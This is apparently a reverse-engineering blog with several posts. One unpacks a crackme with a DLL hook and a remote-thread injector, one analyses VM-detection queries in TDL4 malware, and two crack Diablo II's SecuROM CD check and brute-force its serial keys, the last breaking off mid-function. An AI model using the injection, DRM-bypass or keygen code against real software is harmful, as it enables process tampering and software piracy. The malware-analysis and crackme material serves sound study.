seg009:0041182F                 xor     al, bl
seg009:00411831                 stosb
seg009:00411832                 loop    loc_41182E

The first loop is for computing key for XOR operation. ebx will be equal to 0x77.
The second loop will decrypt first stage of the packer with the key stored into ebx.
Next the packer will resolve base address of kernel32.dll by getting the current structured exception handling (SEH) frame into fs:[0] and get an address inside kernel32 after the seh handler, and back from this address into memory for finding 'PE' and 'MZ' signature.


At this point it will have the base address of kernel32.dll
Then it will parse PE header of this dll, get export function name table and search for GlobalAlloc().
It will Alloc some space, and copy different portion of code into it. We will return to the analysis of this code later (some stuff are here for api resolution during main execution).
For not loosing time by analysing all the copy of portion of code, we will setup memory breakpoint on acces on code section and run our debugger.


We land here :

00157BFC    AD                         LODS DWORD PTR DS:[ESI]
00157BFD    35 DEC0ADDE                XOR EAX,DEADC0DE
00157C02    AB                         STOS DWORD PTR ES:[EDI]
00157C03  ^ E2 F7                      LOOPD SHORT 00157BFC
00157C05    C3                         RET

At this point ecx equal to 0x1E00, and raw size of code section equal to 0x7800, so it's actually deciphering all code section with 0xDEADCODE as XOR key.
Disable the memory breakpoint on access, and go to ret, then do the operation again (setup memory breakpoint acces), and we land here :

00157BEB    8DBD BF6F4000   	       LEA EDI,DWORD PTR SS:[EBP+406FBF]
00157BF1    8B85 A71F4000              MOV EAX,DWORD PTR SS:[EBP+401FA7]
00157BF7    8B0F                       MOV ECX,DWORD PTR DS:[EDI]
00157BF9    81C1 00004000              ADD ECX,400000                           ; ASCII "MZP"
00157BFF    C601 E8                    MOV BYTE PTR DS:[ECX],0E8
00157C02    83C1 05                    ADD ECX,5
00157C05    50                         PUSH EAX
00157C06    2BC1                       SUB EAX,ECX
00157C08    8941 FC                    MOV DWORD PTR DS:[ECX-4],EAX
00157C0B    58                         POP EAX
00157C0C    81C7 88000000              ADD EDI,88
00157C12    837F 04 00                 CMP DWORD PTR DS:[EDI+4],0
00157C16  ^ 75 DF                      JNZ SHORT 00157BF7
00157C18    C3                         RET

Do you recognize this operation ?
Opcode 0xE8, add 5 ?, it is making a call.
The destination of the call (eax) go to the first virtual part I talked, we will call this "api address solving".
The packer is making call redirection for each API.
The next memory breakpoint on access will land us here :

004085D4    E8 9706D5FF                CALL 00158C70

A call crafted juste before, let's follow it.

00158C70    9C                         PUSHFD
00158C71    60                         PUSHAD
00158C72    E8 00000000                CALL 00158C77
00158C77    5D                         POP EBP
00158C78    81ED 1C1C4000              SUB EBP,401C1C
00158C7E    8BBD B01C4000              MOV EDI,DWORD PTR SS:[EBP+401CB0]
00158C84    8B7424 24                  MOV ESI,DWORD PTR SS:[ESP+24]
00158C88    83EE 05                    SUB ESI,5
00158C8B    81EE 00004000              SUB ESI,400000                                        ; ASCII "MZP"
00158C91    81EF 88000000              SUB EDI,88
00158C97    81C7 88000000              ADD EDI,88
00158C9D    3B37                       CMP ESI,DWORD PTR DS:[EDI]
00158C9F  ^ 75 F6                      JNZ SHORT 00158C97
00158CA1    68 2680ACC8                PUSH C8AC8026
00158CA6    FFB5 B41C4000              PUSH DWORD PTR SS:[EBP+401CB4]
00158CAC    E8 A4000000                CALL 00158D55
00158CB1    8D4F 48                    LEA ECX,DWORD PTR DS:[EDI+48]
00158CB4    8BD1                       MOV EDX,ECX
00158CB6    E8 3B000000                CALL 00158CF6
00158CBB    51                         PUSH ECX
00158CBC    FFD0                       CALL EAX
00158CBE    93                         XCHG EAX,EBX
00158CBF    68 EEEAC01F                PUSH 1FC0EAEE
00158CC4    FFB5 B41C4000              PUSH DWORD PTR SS:[EBP+401CB4]
00158CCA    E8 86000000                CALL 00158D55
00158CCF    8D4F 08                    LEA ECX,DWORD PTR DS:[EDI+8]
00158CD2    E8 1F000000                CALL 00158CF6
00158CD7    51                         PUSH ECX
00158CD8    53                         PUSH EBX
00158CD9    FFD0                       CALL EAX
00158CDB    8D4F 08                    LEA ECX,DWORD PTR DS:[EDI+8]
00158CDE    E8 13000000                CALL 00158CF6
00158CE3    8D4F 48                    LEA ECX,DWORD PTR DS:[EDI+48]
00158CE6    E8 0B000000                CALL 00158CF6
00158CEB    894424 1C                  MOV DWORD PTR SS:[ESP+1C],EAX
00158CEF    61                         POPAD
00158CF0    9D                         POPFD
00158CF1    83C4 04                    ADD ESP,4
00158CF4    FFE0                       JMP EAX

Maybe with a schem it will be more clear, example of a typical call to an api :


So if you follow me, here is the structur for each api :

struct api
{
	DWORD 	offset;			/* +0x00 */
	DWORD 	unknow;			/* +0x04 */
	char	api_name[0x40];		/* +0x08 */
	char	dll_name[0x40];		/* +0x48 */
};

Here is one exemple :


Writing test program :

> cat test.c
int main(void)
{
  char api_name[] = "\xB8\x9A\x8B\xB2\x90\x9B\x8A\x939A\xB7\x9E\x91\x9B\x93\x9A\xBE\xFF\xFF";
  char dll_name[] = "\xB4\xBA\xAD\xB1\xBA\xB3\xCC\xCD\xD1\xBB\xB3\xB3\xFF\xFF";
  int i;

  for (i = 0; i < strlen(api_name); i++)
    api_name[i] = ~api_name[i];
  for (i = 0; i < strlen(api_name); i++)
    dll_name[i] = ~dll_name[i];
  printf("%s\n", api_name);
  printf("%s\n", dll_name);
}
> ./test
GetModueHandleA
KERNEL32.DLL

This entry in the table was for solving call to GetModuleHandleA() from kernel32.dll
So for dumping our program, we will have to reconstruct all those redirections, we will write a dll and inject it into the process.
What the injected code will do ?


But have we got enough for replacing call by jmp dword ptr [idata_section], the answer is yes !, the packer have replace them and left 1 byte between each call.


Opcode for jmp dword ptr [0x42424242] = FF 25 42 42 42 42, size : 6, we got enought place.

Code for the dll :

#include <stdio.h>
#include <Windows.h>

#define LDE_X86 0

#ifdef __cplusplus
extern "C"
#endif
int __stdcall LDE(void* address , DWORD type);

void	fix_call(void)
{
	IMAGE_DOS_HEADER *idh = NULL;
	IMAGE_NT_HEADERS *inh = NULL;
	IMAGE_SECTION_HEADER *ish = NULL;
	IMAGE_SECTION_HEADER *ish_import = NULL;
	DWORD imagebase;
	DWORD imageend;
	FILE *fp = NULL;
	DWORD i;
	BYTE	*ptr;
	int val;
	DWORD addr_call;
	DWORD nb_api = 0;

	fp = fopen("debug_msg.txt", "w");
	if (!fp)
		MessageBoxA(NULL, "fopen failed :(", "failed", 0);
	imagebase = (DWORD)GetModuleHandle(NULL);
	idh = (IMAGE_DOS_HEADER *)imagebase;
	inh = (IMAGE_NT_HEADERS *)((BYTE*)imagebase + idh->e_lfanew);
	ish = (IMAGE_SECTION_HEADER*)((BYTE*)inh + sizeof (IMAGE_NT_HEADERS));
	imageend = imagebase + inh->OptionalHeader.SizeOfImage;
	fprintf(fp, "Image Base : %08X\nImage End : %08X\n", imagebase, imageend);
	ish = (IMAGE_SECTION_HEADER*)((BYTE*)inh + sizeof (IMAGE_NT_HEADERS));
	ish_import = (IMAGE_SECTION_HEADER*)((BYTE*)inh + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER) * 4);
	fprintf(fp, "Ish Import : %08X\n", imagebase + ish_import->VirtualAddress);
	for (i = 0; i < ish->Misc.VirtualSize; i++)
	{
		ptr = (BYTE*)(imagebase + ish->VirtualAddress + i);
		/* Look for a call */
		if (*(ptr) == 0xE8)
		{
			val = *(ptr + 4) << 0x18 | *(ptr + 3) << 0x10 | *(ptr + 2) << 0x8  | *(ptr + 1);
			val += imagebase + ish->VirtualAddress + i + 5;
			/* Is destination inside code section ? */
			if (val > imagebase + ish->VirtualAddress && val < imagebase + ish->VirtualAddress + ish->Misc.VirtualSize)
			{
				ptr = (BYTE*)val;
				addr_call = val;
				/* Look for a call */
				if (*(ptr) == 0xE8)
				{
					val = *(ptr + 4) << 0x18 | *(ptr + 3) << 0x10 | *(ptr + 2) << 0x8  | *(ptr + 1);
					val += (int)ptr + 5;
					/* Is destination is not into code section ? */
					if (val < imagebase + ish->VirtualAddress || val > imagebase + ish->VirtualAddress + ish->Misc.VirtualSize)
					{
						fprintf(fp, "Call Redirect found at %08X to %08X, ", imagebase + ish->VirtualAddress + i, val);
						ptr = (BYTE*)val;
						/* Change JMP EAX to JMP EBX */
						val = imagebase + ish->VirtualAddress + i;
						*(ptr + 0x85) = 0xE3;
						__asm
						{
							pushad
							mov ebx, end_api
							mov eax, val
							call eax
							end_api:
							add esp, 8
							mov val, eax
							popad
						}
						fprintf(fp, "Addr Api : %08X\n", val);
						/* Put Api Addr into idata section */
						ptr = (BYTE*)(imagebase + ish_import->VirtualAddress + 0x58 + nb_api * 8);
						memcpy(ptr, &val, 4);
						val = (imagebase + ish_import->VirtualAddress + 0x58 + nb_api * 8);
						/* Replace call by jmp dword ptr [idata_section] */
						ptr = (BYTE*)addr_call;
						*ptr = 0xFF;
						*(ptr + 1) = 0x25;
						memcpy(ptr + 2, &val, 4);
						nb_api++;
					}
				}
			}
		}
	}
	fclose(fp);
}

BOOL (__stdcall *Resume_GetVersionExA)(LPOSVERSIONINFO lpVersionInfo) = NULL;

BOOL __stdcall Hook_GetVersionExA(LPOSVERSIONINFO lpVersionInfo)
{
	DWORD	return_addr;

	__asm
	{
		mov eax, [ebp + 4]
		mov return_address, eax
	}
	if (return_addr == 0x00405ABF)
	{
		MessageBoxA(NULL, "ready ?", "Ready ?", 0);
		fix_call();
		__asm jmp $
	}
	return Resume_GetVersionExA(lpVersionInfo);
}

void	setup_hook(char *module, char *name_export, void *Hook_func, void *trampo)
{
	DWORD	OldProtect;
	DWORD	len;
	FARPROC	Proc;

	Proc = GetProcAddress(GetModuleHandleA(module), name_export);
	if (!Proc)
	{
		MessageBoxA(NULL, name_export, module, 0);
	}
	len = 0;
	while (len < 5)
		len += LDE((BYTE*)Proc + len , LDE_X86);
	memcpy(trampo, Proc, len);
	*(BYTE *)((BYTE*)trampo + len) = 0xE9;
	*(DWORD *)((BYTE*)trampo + len + 1) = (BYTE*)Proc - (BYTE*)trampo - 5;
	VirtualProtect(Proc, len, PAGE_EXECUTE_READWRITE, &OldProtect);
	*(BYTE*)Proc = 0xE9;
	*(DWORD*)((char*)Proc + 1) = (BYTE*)Hook_func - (BYTE*)Proc - 5;
	VirtualProtect(Proc, len, OldProtect, &OldProtect);
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
	DisableThreadLibraryCalls(GetModuleHandleA("inject_unpackme03.dll"));
	Resume_GetVersionExA = (BOOL(__stdcall *)(LPOSVERSIONINFO))VirtualAlloc(0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	memset(Resume_GetVersionExA, 0x90, 0x1000);
	setup_hook("kernel32.dll", "GetVersionExA", &Hook_GetVersionExA, Resume_GetVersionExA);
	return (1);
}
My code use the Length Disassembly Engine from BeatriX.
Now we code a little injector in masm for changing :
.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc 
include \masm32\include\kernel32.inc 
includelib \masm32\lib\kernel32.lib

.data
PInfo 			PROCESS_INFORMATION <> 
SInfo			STARTUPINFOA		<>

Kernel			db		"kernel32.dll", 0
LLib			db		"LoadLibraryA", 0
exe_name		db 		"03_unpackme.exe", 0
dll_name		db		"inject_unpackme03.dll", 0
Addr_name		dd		0

.code
start:
	invoke GetStartupInfo, addr SInfo 
	invoke CreateProcess, addr exe_name, NULL, NULL, NULL, FALSE,
						CREATE_SUSPENDED, NULL, NULL, addr SInfo, addr PInfo
	invoke VirtualAllocEx, PInfo.hProcess, 0, 100h, MEM_COMMIT, PAGE_READWRITE
	mov [Addr_name], eax
	invoke WriteProcessMemory, PInfo.hProcess, Addr_name, addr dll_name, LENGTHOF dll_name, NULL
	invoke GetModuleHandleA, addr Kernel
	invoke GetProcAddress, eax, addr LLib
	invoke CreateRemoteThread, PInfo.hProcess, NULL, 0, eax, [Addr_name], 0, NULL
	invoke WaitForSingleObject, eax, INFINITE
	invoke ResumeThread, PInfo.hThread
	
exit:
	invoke ExitProcess, 0
end start

So as you can see, I used a little trick for waiting unpacking of all executables :
I setup an hook on GetVersionExA() and if the call occurs from one interesting address (near OEP), I call fix "fix_call" function and enter in infinite loop.
With this infinite loop we can attach Olly to our process and watch the result :


It's cool, but wait i forgot to talk about one thing, finding real OEP !
Restart OllyDBG, let the loop xor all the first stage, and setup breakpoint on :
0041196F    E8 C2010000     CALL 03_unpac.00411B36
Step into and add breakpoint on :
00411B61    FF95 4B1D4000   CALL DWORD PTR SS:[EBP+401D4B]
You should land here (Addr can change due to allocated memory) :
00157C44  ^\FFA5 BB1F4000   JMP DWORD PTR SS:[EBP+401FBB]
Trace the code until you got something like that :
00153BC4    9D              POPFD
00153BC5    61              POPAD
00153BC6    5A              POP EDX
00153BC7    58              POP EAX
00153BC8    E8 D35F0000     CALL 00159BA0
If we step into, we will find something very interesting :
00159BA0    60              PUSHAD
00159BA1    E8 00000000     CALL 00159BA6
00159BA6    5D              POP EBP
00159BA7    81ED E21B4000   SUB EBP,401BE2
00159BAD    8B7424 20       MOV ESI,DWORD PTR SS:[ESP+20]
00159BB1    83EE 05         SUB ESI,5
00159BB4    8B9D 111C4000   MOV EBX,DWORD PTR SS:[EBP+401C11]
00159BBA    83EB 28         SUB EBX,28
00159BBD    83C3 28         ADD EBX,28
00159BC0    3973 10         CMP DWORD PTR DS:[EBX+10],ESI
00159BC3  ^ 75 F8           JNZ SHORT 00159BBD
00159BC5    8B73 08         MOV ESI,DWORD PTR DS:[EBX+8]
00159BC8    89B5 0C1C4000   MOV DWORD PTR SS:[EBP+401C0C],ESI
00159BCE    61              POPAD
00159BCF    68 DEC0ADDE     PUSH DEADC0DE
00159BD4    C3              RET
This not api resolution, but call resolution !
This sub is quite simple, like api resolution it will check into a table the offset of the call and replace 0xDEADCODE by the addr of the (stolen ?) call.
I think (it's not sure) the packer has stolen some call from the virgin file and reconstruct them with a push addr ret.

Let's put a conditional log on ret address ( Expression = "[esp]" ).
We run the program and exit him and watch the log.
00159BD4   COND: 004085D4
00159BD4   COND: 00402128
00159BD4   COND: 004014C4
00159BD4   COND: 0040212C
00159BD4   COND: 00402D44
00159BD4   COND: 004085D4
00159BD4   COND: 00403D20
00159BD4   COND: 00403FA4
00159BD4   COND: 00403394
00159BD4   COND: 004033A4
00159BD4   COND: 00402F2C
00159BD4   COND: 004085B6
00159BD4   COND: 004085AA
00159BD4   COND: 00405BD4
00159BD4   COND: 00405C18
00159BD4   COND: 004066AC
00159BD4   COND: 004066B4
00159BD4   COND: 00406978
00159BD4   COND: 004085D4
7E390000   Module C:\WINDOWS\system32\USER32.DLL
00159BD4   COND: 00405B84
77EF0000   Module C:\WINDOWS\system32\GDI32.dll
           Process terminated, exit code 0
If you remember at the begining of the article, the second breakpoint on access on code section land us to the first entry of your log, is it OEP ?
I don't think so, it's a call to GetModuleHandleA(), ... strange, ... strange.
If you look closely, there is another thing strange, before the log of the loading module "USER32.dll", we can see a call to 0x004085D4, but this call is just a redirection to GetModuleHandleA, so what's happen between ?
We will restart our debugger and put a breakpoint on the ret of the call redirection function and wait until it go to the last 0x004085D4.


We trace the code, call "api address solving", we put a breakpoint on the JMP EAX, trace into GetModuleHandleA(), and execute till return.
We are back into virtual memory code, and trace it until get :
00154119    9D              POPFD
0015411A    61              POPAD
0015411B    5A              POP EDX
0015411C    58              POP EAX
0015411D    FF56 18         CALL DWORD PTR DS:[ESI+18]
[ESI + 18] will be equal to 0x00401000, is it the real OEP ?
00401000    55              PUSH EBP
00401001    8BEC            MOV EBP,ESP
00401003    6A 00           PUSH 0
00401005    68 20104000     PUSH 03_unpac.00401020
0040100A    6A 00           PUSH 0
0040100C    68 E7030000     PUSH 3E7
00401011    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
00401014    50              PUSH EAX
00401015    E8 56760000     CALL 03_unpac.00408670
0040101A    33C0            XOR EAX,EAX
0040101C    5D              POP EBP
0040101D    C2 1000         RET 10
CALL 03_unpac.00408670 will go to resolve api, and call DialogBoxParamA().
But wait we store first argument into eax, so this function need an argument.
If we look msdn documentation first parameter of DialogBoxParamA() is a handle to the module whose executable file contains the dialog box template.
So the parameter of this function should be the result of GetModuleHandleA(NULL) (this will be first stolen fix).
A second problem is when we will return from DialogBoxParamA, and return from sub_00401000 we should ret to a fonction wich call ExitProcess().
Launch the injector, and attach olly to the process, and search reference to kernel32.ExitProcess, and we found this sub :
0040669C    55              PUSH EBP
0040669D    8BEC            MOV EBP,ESP
0040669F    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
004066A2    50              PUSH EAX
004066A3    E8 F01E0000     CALL 03_unpac.00408598                   ; JMP to kernel32.ExitProcess
004066A8    5D              POP EBP
004066A9    C3              RET

Now we just have to find some place for putting the stolen bytes, just after all the jmp dword ptr [idata_section] it's cool.


Now we can dump our process with our favorite toolz dumper, and fix iat with ImportRec and putting the new OEP.



We test the dump file and it works :].

Conclusion

As deroko said, this unpackme is really not difficult, but I enjoyed solving it.

25/10/2011

Some news, TDL4, IDA

Introduction

I received several mail asking me, if I was still active on my blog.
And the answer is YES!, i'm just (very) busy by my internship, and some personal projetcs.
So today I give you some news.

TDL4

I'm sorry for my english readers (if there are), but my draft article about all reverse stuff from tdl4 is written in French. But you can use Google Translate !
So here is the link to the article.
Be careful this is an oldschool version ( 0.3 ), I'm currently studying new version.

TDL4 (New version)

And we will start with a tricks for detecting Virtual Machine, apparently the new loader do this check, instead of the loader from my article.
Maybe for you it will not be new, but for me it is, I'm a beginner in malware analysis.
It will use WQL language to query Windows Management Instrumentation.
I will not bore you with disassembly code, but with a picture, that will show you a little script that I wrote for defeating unicode string obfuscation :

plugin_ida_deounicode.png

And source code of idc script (I'm maybe doing it wrong, but it's my first) :

#include <idc.idc>

static String(ea)
{
    auto s,b,i;
    s = ""; 
	i = 0;
    while(i < 2) 
	{
		b = Byte(ea);
		if (b)
		{
			s = s + form("%c", b);
			ea = ea + 2;
		}
		i++;
    }
    return s; 
}

static main()
{
	auto ea;
	auto op;
	auto str;
	auto s;
    
	ea = SelStart();
	str = "";
	while (ea < SelEnd())
	{
		if(GetMnem(ea) != "mov")
			break;
		if (GetOpType(ea, 1) == 1)
			break;
		s = String(ea + 7);
		str = str + s;
		ea = FindCode(ea, SEARCH_DOWN | SEARCH_NEXT);
	}
	Message("%s\n", str);
}

So with this script I was able to see all this interesting stuff :

Win32_BIOS
Win32_Process
Win32_DiskDrive
Win32_Processor
Win32_SCSIController
Name
Model
Manufacturer
Xen
QEMU
Bochs
Red Hat
Citrix
VMware
Virtual HDVBOX
CaptureClient.exe
SELECT * FROM %s WHERE %s LIKE "%%%s%%"
SELECT * FROM %s WHERE %s = "%s"
First it will gather all the information about your pc and send this to a C&C.
And after for example, it will check if in process list there is "CaptureClient.exe", or execute the request "SELECT * FROM Win32_DiskDevice WHERE Manufacturer = "VMware", etc...
This is how they can detect that you are in virtualized or emulated environment.
I didn't know how WQL work, so I decided to develop someshit :
#include <windows.h>
#include <objbase.h>
#include <atlbase.h>
#include <iostream>
#include <wbemidl.h>
#include <comutil.h>

int main(void)
{
	HRESULT hr;
	
	hr = CoInitializeEx( NULL, COINIT_MULTITHREADED );
	if (hr < 0)
	{
		std::cerr << "[-] COM initialization failed" << std::endl;
		return (-1);
	}

	hr = CoInitializeSecurity(NULL, -1, NULL, NULL,
								RPC_C_AUTHN_LEVEL_DEFAULT,
								RPC_C_IMP_LEVEL_IMPERSONATE,
								NULL,
								EOAC_NONE,
								NULL );
	if (hr < 0)
	{
		std::cerr << "[-] Security initialization failed" << std::endl;
		return (-1);
	}

	CComPtr<IWbemLocator> locator;
	hr = CoCreateInstance(CLSID_WbemAdministrativeLocator, NULL,
							CLSCTX_INPROC_SERVER,
							IID_IWbemLocator, reinterpret_cast< void** >( &locator ));
	if (hr < 0)
	{
		std::cerr << "[-] Instantiation of IWbemLocator failed" << std::endl;
		return (-1);
	}
	CComPtr<IWbemServices> service;
	hr = locator->ConnectServer(L"root\\cimv2", NULL, NULL, NULL,
								WBEM_FLAG_CONNECT_USE_MAX_WAIT, NULL, NULL, &service);

	CComPtr< IEnumWbemClassObject > enumerator;
	hr = service->ExecQuery( L"WQL", L"SELECT * FROM Win32_Process", WBEM_FLAG_FORWARD_ONLY, NULL, &enumerator );
	//hr = service->ExecQuery( L"WQL", L"SELECT * FROM Win32_DiskDrive WHERE Model LIKE \"%VMware%\"", WBEM_FLAG_FORWARD_ONLY, NULL, &enumerator );
	if (hr < 0)
	{
		std::cerr << "[-] ExecQuey() Failed" << std::endl;
		return (-1);
	}
	CComPtr< IWbemClassObject > processor = NULL;
	ULONG retcnt;
	hr = enumerator->Next(WBEM_INFINITE, 1L, reinterpret_cast<IWbemClassObject**>( &processor ), &retcnt);
	while ( SUCCEEDED(hr) && retcnt > 0) 
	{
		if ( retcnt > 0 )
		{
				_variant_t var_val;
				hr = processor->Get( L"Name", 0, &var_val, NULL, NULL );
				if (hr >= 0)
				{
						_bstr_t str = var_val;
						std::cout << "[+] Name: " << str << std::endl;
				}
				else
				{
						std::cerr << "[-] IWbemClassObject::Get failed" << std::endl;
						//result = -1;
				}
                hr = enumerator->Next( WBEM_INFINITE, 1L, reinterpret_cast<IWbemClassObject**>( &processor ), &retcnt );
		}
		else
		{
			std::cout << "[-] Enumeration empty" << std::endl;
		}
	}
}

That's all for today :].

02/08/2011

Diablo II part 2

Introduction

Après mon post sur la fabrication de serial pour diablo II, je ne pouvais pas en rester là.
Il fallait que je joue avec Securom afin de me fabriquer un no-cd avec mes petits doigts.
Bab00n a écrit un excellent article sur la création d'un no-cd pour Diablo II Lord Of Destruction (l'extension du jeu).

Securom v4

Ici pour diablo II original (Version 1.03), nous avons affaire à du securom v4, il faut savoir que nous sommes en présence de 2 éxécutables à la base.

   > hexdump -C Game.exe | grep -i "AddD"
   0003b940  00 00 00 00 41 64 64 44  00 00 00 00 35 39 4a 50  |....AddD....59JP|
   0003b960  00 00 00 00 46 57 53 00  41 64 64 44 00 00 00 00  |....FWS.AddD....|
   0003b970  41 64 64 44 00 00 00 00  5c 00 00 00 1a 27 1a 12  |AddD....\....'..|
   00048000  41 64 64 44 03 00 00 00  34 2e 30 37 2e 30 30 00  |AddD....4.07.00.|

Ici nous avons affaire à du securom version 4.07.00, protection ID aurait pu très bien faire l'affaire :

diablo2_protid

Find OEP

La première étape est de trouver l'oep, 2 solutions s'offrent à nous :


    004169A6  |> |58                    /POP EAX
    004169A7  |. |FFE0                  |JMP EAX

Nous arrivons enfin sur l'enty point :

00402120  /.  55            PUSH EBP

Reconstruction des calls redirigés

Securom met en place un système pour rédiriger les calls vers les différentes API dont il a besoin.
C'est en recherchant des renseignements sur securom, que j'ai commencé à me demander si j'allais etre en présence de call [Securom] / call Securom.
Securom étant la section dans notre cas "cms_t".
Donc je décide d'écrire un script Olly :

//log "Loggin all call [Securom]"
//next:
//findop eip, #FF15#
//mov eip, $RESULT
//log eip
//add eip, 6
//cmp $RESULT, 0
//jne next
//pause

var dest
log "Loggin all call Securom"
next:
findop eip, #E8????????#
mov eip, $RESULT
mov dest, [eip + 1]
add dest, eip
cmp dest, 40F000
jbe not_log
log "-- Maybe new ?"
log dest
log eip
not_log:
add eip, 5
cmp $RESULT, 0
jne next
pause

La première parti commenté du script sert à loguer les call [Securom], alors que l'autre sert à loguer les call Securom.
Résultat nous sommes en présence de seulement de call [Securom], dont voici un exemple :

00402146    FF15 F0024200   CALL DWORD PTR DS:[4202F0]               ; Game.0040FBD0

La routine en 0x0040FBD0, va calculer l'api à apeler puis mettre le résultat dans eax, et ansi jmp eax, afin de l'apeler.
N'étant pas sur de moi, j'ai tout fait à la mano ('Non je ne suis pas fou, je voulais pas faire de la race c'est tout').
Donc j'ai écrit un script Olly pour loguer tout ca et remplacer correctement les call [Securom] par call [API].

Voici un bout de la routine intéressant :

0041035E    8B06            MOV EAX,DWORD PTR DS:[ESI]
00410360    5F              POP EDI
00410361    5E              POP ESI
00410362    5B              POP EBX
00410363    8BE5            MOV ESP,EBP
00410365    5D              POP EBP
00410366    FFE0            JMP EAX

Le but va etre de bp en 0x0041035E, loguer esi, et loguer d'ou nous avons été apelé.

var rez
bp 0041035E
cnt:
eob Break
eoe handler
run

handler:
ret

Break:
log esi
mov rez, [esp - 4]
sub rez, 6
log rez
log [esi]
jmp cnt

Arrivé à l'entry point, j'exec le script et la failed :

diablo2_error

Pourtant le script partait bien :

diablo2_log

En fait bêtement dans cette routine, ils font appel à timeGetTime :

00410264    FF15 F8164400   CALL DWORD PTR DS:[4416F8]               ; WINMM.timeGetTime

Je m'emmerde pas, je nop un saut conditionnel en 0x004100F0.
Et la le jeu se lance, nous avons été en mesure de tout loguer.
Il suffit de remplacer à la mano les call [Securom], par call [API], ou alors il suffit juste de modifier le script :].
Vous n'aurez plus qu'a dump le processus, un coup d'importRec et le tour est joué !

Hmmm par contre il reste un CD-Check dans storm.dll (0x00357CA4) ;)

Have Fun :]
On se revoit pour une version 5 de securom ou du safedisc.

26/07/2011

I need the key

Introduction

Tout droit sorti du grenier je ressors mon boitier de diablo II, oui oui ce jeu magique cube horadrim tout ca tout ca :]
Mais ce post n'est pas destiné à faire l'éloge de ce jeu mais plutôt arriver à y jouer.

Serial

Malheuresement au moment de l'installation on nous demande un Nom et un Serial, comme par hasard j'ai perdu le manuel avec ma clef CD...
"Comment ca je peux pas joueur ?!"

diablo2_serial.png

La routine de vérification ne tient pas compte du nom que vous avez entré mais uniquement du serial, j'ai du coup coder un générateur de clef (bruteforce ?).
Oui je génére toutes les clefs possibles et inimaginables et en ayant reverse toute leur routine de vérificaion, je regarde si elle est valide ou non.
Afin que ca prenne pas la vie, il faut définir la variable "dic" avec un minimum de caractères qui sont présents au début du code (commentaire 0x43f750...).
Trève de bavardage voici le code :

#! /usr/local/bin/python2.6

import sys
import binascii

###################################
# 0x43f750 .....
#
#             #0 #1 #2 #3 #4 #5
#       FF FF FF FF 00 FF 01 FF
#
#       #6 #7 #8 #9 #: #; #< #=
#       02 03 04 05 FF FF FF FF
#
#       #> #? #@ #A #B #C #D #E
#       FF FF FF FF 06 07 08 09
#
#       #F #G #H #I #J #K #L #M
#       0A 0B 0C FF 0D 0E FF 0F
#
#       #N #O #P #Q #R #S #T #U
#       10 FF 11 FF 12 FF 13 FF
#
#       #V #W #X #Y #Z #[ #\ #]
#       14 15 16 FF 17 FF FF FF
#
#       #^ #_ #` #a #b #c #d #e
#       FF FF FF FF 06 07 08 09
#
#       0A 0B 0C FF 0D 0E FF 0F
#
#       10 FF 11 FF 12 FF 13 FF
#
#       14 15 16 FF 17 FF FF FF
#
# Caracter can only be '246789BCDEFGHJKMNPRTVWXZ'
###################################

s_ebx = 1
spe = 0

def combine(alphabet, nb, base = ''):
    for c in alphabet:
        if nb == 1:
            yield base + c
        else:
            for c1 in combine(alphabet, nb - 1, base + c):
                yield c1

rep = 4
#dic = '246789BCDEFGHJKMNPRTVWXZ'
dic = '7NJDTF'
tab_43f750 = [0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
              0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
              0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
              0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
              0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
              0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
              0xFF, 0xFF, 0x00, 0xFF, 0x01, 0xFF, 0x02, 0x03,
              0x04, 0x05, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
              0xFF, 0xFF, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B,
              0x0C, 0xFF, 0x0D, 0x0E, 0xFF, 0x0F, 0x10, 0xFF,
              0x11, 0xFF, 0x12, 0xFF, 0x13, 0xFF, 0x14, 0x15,
              0x16, 0xFF, 0x17, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
              0xFF, 0xFF, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B,
              0x0C, 0xFF, 0x0D, 0x0E, 0xFF, 0x0F, 0x10, 0xFF,
              0x11, 0xFF, 0x12, 0xFF, 0x13, 0xFF, 0x14, 0x15,
              0x16, 0xFF, 0x17, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF]

def routine_414770(res):
    if res < 0x0a:
        res += 0x30
    else:
        res += 0x37
    return res

def routine_41457e(a, b):
    global s_ebx
    global spe
    A = tab_43f750[ord(a)]
    B = tab_43f750[ord(b)]
    if A == 0xff:
        A = 0xffffffff
    if B == 0xff:
        B = 0xffffffff
    RES = A + A * 2 & 0xffffffff
    RES = RES * 8 + B & 0xffffffff
    if RES > 0x100:
        spe = spe + s_ebx
        RES = RES - 0x100
    a = RES
    a = a & 0x0f
    RES = RES >> 4
    RES = RES & 0xf
    RES = routine_414770(RES)
    a = routine_414770(a)
    s_ebx = s_ebx << 1
    return [RES, a]

def routine_3(combi):
    res = routine_41457e(combi[0], combi[1])
    res2 = routine_41457e(combi[2], combi[3])
    return res + res2

def routine(one, two, three, four):
    global s_ebx
    global spe
    s_ebx = 1
    spe = 0
    one = routine_3(one)
    two = routine_3(two)
    three = routine_3(three)
    four = routine_3(four)
    if routine_add(one, two, three, four) == True and test(one, two, three, four) == True:
        return True
    return False

def test(one, two, three, four):
    edi = 0x15
    eax = 15
    ecx = 0x16
    serial = one + two + three + four
    while eax >= 0:
        dl = serial[eax]
        ecx = ecx & 0xf
        bl = serial[ecx]
        serial[eax] = bl
        serial[ecx] = dl
        eax = eax - 1
        ecx = ecx - 1
    eax = 15
    esp_38 = 0x13AC9741
    while eax >= 0:
        ecx = serial[eax]
        if ecx <= 0x37:
            ecx = esp_38
